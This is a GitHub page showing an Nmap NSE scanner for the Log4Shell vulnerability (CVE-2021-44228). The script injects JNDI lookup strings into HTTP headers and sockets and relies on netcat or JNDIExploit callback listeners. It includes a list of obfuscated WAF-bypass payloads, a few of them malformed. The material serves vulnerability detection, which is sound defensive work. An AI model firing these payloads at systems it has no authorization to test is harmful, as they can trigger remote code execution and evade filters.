-
Notifications
You must be signed in to change notification settings - Fork 21
/
log4shell.nse
314 lines (243 loc) · 10.5 KB
/
log4shell.nse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
description = [[
Log4Shell - CVE-2021-44228
CVE-2021-44228 is a remote code execution (RCE) vulnerability in Apache Log4j 2.
An unauthenticated, remote attacker could exploit this flaw by sending a specially
crafted request to a server running a vulnerable version of log4j. The crafted
request uses a Java Naming and Directory Interface (JNDI) injection via a variety
of services including:
- Lightweight Directory Access Protocol (LDAP)
- Secure LDAP (LDAPS)
- Remote Method Invocation (RMI)
- Domain Name Service (DNS)
If the vulnerable server uses log4j to log requests, the exploit will then request
a malicious payload over JNDI through one of the services above from an
attacker-controlled server. Successful exploitation could lead to RCE.
Callback Server
The script relies on callbacks from the target being scanned and hence any
firewall rules or interaction with other security devices will affect the
efficacy of the script.
Netcat or Ncat:
- Listen a TCP port with netcat (or ncat):
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
- Run Nmap with --script log4shell.nse script
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
- See the target IP address in netcat (or ncat) output:
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
JNDIExploit:
- Download JNDIExploit from GitHub (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
- Start JNDIExploit server:
java -jar JNDIExploit.jar
- Run Nmap with --script log4shell.nse script
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
- See JNDIExploit output for see the received LDAP query (log4shell/{target host}/{target port})
[+] Received LDAP Query: log4shell/127.0.0.1/8080
[!] Invalid LDAP Query: log4shell/127.0.0.1/8080
]]
author = 'Giuseppe Di Terlizzi <giuseppe DIT diterlizzi AT nttdata DOT com>'
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "safe", "external"}
---
-- @usage
-- nmap --script log4shell --script-args log4shell.callback-server=127.0.0.1:1389 -p <port> <host>
-- @args callback-server Callback server
-- @args http-headers Comma-separated list of HTTP headers
-- @args http-method HTTP method (default: GET)
-- @args url-path URL path (default: /)
-- @args waf-bypass WAF bypass
-- @args test-method Test through 'http' (default), 'tcp', 'udp' or 'all'
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | log4shell:
-- | Payloads:
-- | ${jndi:ldap://127.0.0.1:389}
-- | Path: /
-- | Method: GET
-- | Headers:
-- | X-Api-Version: 200
-- | [...]
-- |_ Note: (!) Inspect the callback server (172.17.42.1:13890) or web-application (172.17.42.2:8080) logs
--
-- @xmloutput
-- <script id="log4shell" output="[...]">
-- <elem key="Callback">127.0.0.1:389</elem>
-- <elem key="Test Method">HTTP</elem>
-- <table key="Payloads">
-- <elem>${jndi:ldap://127.0.0.1:389}</elem>
-- </table>
-- <elem key="URL Path">/</elem>
-- <elem key="HTTP Method">GET</elem>
-- <table key="HTTP Headers">
-- <elem key="X-Api-Version">200 </elem>
-- <elem key="Referer">200 </elem>
-- <elem key="User-Agent">200 </elem>
-- </table>
-- <elem key="Note">(!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs</elem>
-- </script>
-- <script id="log4shell" output="[...]">
-- <elem key="Callback">127.0.0.1:389</elem>
-- <elem key="Test Method">Socket (tcp)</elem>
-- <table key="Payloads">
-- <elem>${jndi:ldap://127.0.0.1:389}</elem>
-- </table>
-- <elem key="Note">(!) Inspect the callback server (172.17.42.1:389) or application (172.17.42.2:8080) logs</elem>
-- </script>
--
-- @changelog
-- 2021-12-11 - First release
-- 2021-12-13 - Test all headers known
-- - Changed output format
-- - Added "callback-server" arg (instead of "exploit-server")
-- 2021-12-14 - Added "http-headers" arg
-- - Improved output
-- 2021-12-15 - Improved XML result
-- - Added "http-method" arg (default: GET)
-- - Added "url-path" arg (default: /)
-- - Removed target info in LDAP URI
-- 2021-12-16 - Added "waf-bypass" arg (default: false)
-- - Added TCP/UDP socket check
-- - Added "test-method" arg (default: http)
-- 2021-12-17 - Added support for older Nmap releases (thanks to @giper45)
--
local http = require "http"
local string = require "string"
local table = require "table"
local nmap = require "nmap"
local stdnse = require "stdnse"
local shortport = require "shortport"
local TESTS = { 'all', 'http', 'tcp', 'udp' }
local HTTP_METHODS = { 'GET', 'HEAD', 'POST', 'OPTIONS' }
local HTTP_HEADERS = {'X-Api-Version', 'User-Agent', 'Cookie', 'Referer', 'Accept-Language', 'Accept-Encoding', 'Upgrade-Insecure-Requests', 'Accept', 'upgrade-insecure-requests', 'Origin', 'Pragma', 'X-Requested-With', 'X-CSRF-Token', 'Dnt', 'Content-Length', 'Access-Control-Request-Method', 'Access-Control-Request-Headers', 'Warning', 'Authorization', 'TE', 'Accept-Charset', 'Accept-Datetime', 'Date', 'Expect', 'Forwarded', 'From', 'Max-Forwards', 'Proxy-Authorization', 'Range,', 'Content-Disposition', 'Content-Encoding', 'X-Amz-Target', 'X-Amz-Date', 'Content-Type', 'Username', 'IP', 'IPaddress', 'Hostname'}
-- Default payload
local DEFAULT_PAYLOAD = '${jndi:ldap://%s}'
-- WAF (Web Application Firewall) bypass payloads
local WAF_BYPASS_PAYLOADS = {
-- RMI
'${jndi:rmi://%s}',
'${${lower:jndi}:${lower:rmi}://%s}',
'${jndi:${lower:r}${lower:m}${lower:i}',
'${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://%s}',
-- DNS
'${jndi:dns://%s}',
'${${lower:jndi}:${lower:dns}://%s}',
'${jndi:${lower:d}${lower:n}${lower:s}',
'${${::-j}${::-n}${::-d}${::-i}:${::-d}${::-n}${::-s}://%s}',
-- LDAP
'${jndi:ldap://%s}',
'${${lower:jndi}:${lower:ldap}://%s}',
'${jndi:${lower:l}${lower:d}a${lower:p}',
'${jndi:${lower:l}${lower:d}${lower:d}${lower:p}',
'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}a${::-p}://%s}',
'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://%s}',
}
--- Copied from tableaux library for older Nmap releases
function contains(t, item, array)
local iter = array and ipairs or pairs
for k, val in iter(t) do
if val == item then
return true, k
end
end
return false, nil
end
--- Copied from stringuax library for older Nmap releases
function strsplit(pattern, text)
local list, pos = {}, 1;
assert(pattern ~= "", "delimiter matches empty string!");
while true do
local first, last = find(text, pattern, pos);
if first then -- found?
list[#list+1] = sub(text, pos, first-1);
pos = last+1;
else
list[#list+1] = sub(text, pos);
break;
end
end
return list;
end
portrule = function(host, port)
return true
end
action = function(host, port)
local callback_server = stdnse.get_script_args(SCRIPT_NAME .. '.callback-server') or '127.0.0.1:1389'
local waf_bypass = stdnse.get_script_args(SCRIPT_NAME .. '.waf-bypass') or nil
local http_headers_arg = stdnse.get_script_args(SCRIPT_NAME .. '.http-headers') or nil
local http_method = stdnse.get_script_args(SCRIPT_NAME .. '.http-method') or 'GET'
local url_path = stdnse.get_script_args(SCRIPT_NAME .. '.url-path') or '/'
local test_method = stdnse.get_script_args(SCRIPT_NAME .. '.test-method') or 'http'
if not contains(TESTS, test_method) then
stdnse.print_verbose("Skipping '%s' %s, unknown test-method", SCRIPT_NAME, SCRIPT_TYPE)
return nil
end
local payloads = { DEFAULT_PAYLOAD }
local output = stdnse.output_table()
if waf_bypass ~= nil then
payloads = WAF_BYPASS_PAYLOADS
end
output.Callback = callback_server
output.Payloads = {}
-- Check via HTTP
if test_method == 'http' or test_method == 'all' then
output['Test Method'] = 'HTTP'
if shortport.http(host, port) then
if not contains(HTTP_METHODS, http_method:upper()) then
stdnse.verbose1("Skipping '%s' %s, unknown HTTP method", SCRIPT_NAME, SCRIPT_TYPE)
return nil
end
local http_headers = HTTP_HEADERS
output.Callback = callback_server
output.Payloads = {}
output['URL Path'] = url_path
output['HTTP Method'] = http_method
output['HTTP Headers'] = {}
if http_headers_arg ~= nil then
http_headers = strsplit(',', http_headers_arg)
end
for i, payload in ipairs(payloads) do
local exploit_payload = string.format(payload, callback_server)
output.Payloads[#output.Payloads + 1] = exploit_payload
for x, payload_header in ipairs(http_headers) do
stdnse.print_debug(1, string.format('%s --> %s', payload_header, exploit_payload))
local header = {
[payload_header] = exploit_payload
}
local response = http.generic_request(host, port.number, http_method:upper(), url_path, { header = header, no_cache = true })
local status = response.status
if status == nil then
-- Something went really wrong out there
-- According to the NSE way we will die silently rather than spam user with error messages
else
local status_string = http.get_status_string(response)
output['HTTP Headers'][payload_header] = status_string
end
end
end
output.Note = string.format('(!) Inspect the callback server (%s) or web-application (%s:%s) logs', callback_server, host.ip, port.number)
return output
end
end
-- Check TCP/UDP services
if test_method == 'tcp' or test_method == 'udp' or test_method == 'all' then
if test_method ~= 'all' and port.protocol ~= test_method then
return nil
end
output['Test Method'] = string.format('Socket (%s)', port.protocol)
if not shortport.http(host, port) then
for i, payload in ipairs(payloads) do
local exploit_payload = string.format(payload, callback_server)
output.Payloads[#output.Payloads + 1] = exploit_payload
local socket = nmap.new_socket(port.protocol)
socket:set_timeout(host.times.timeout * 1000)
socket:connect( host, port )
local status, err = socket:send( exploit_payload )
socket:close()
end
output.Note = string.format('(!) Inspect the callback server (%s) or application (%s:%s) logs', callback_server, host.ip, port.number)
return output
end
end
end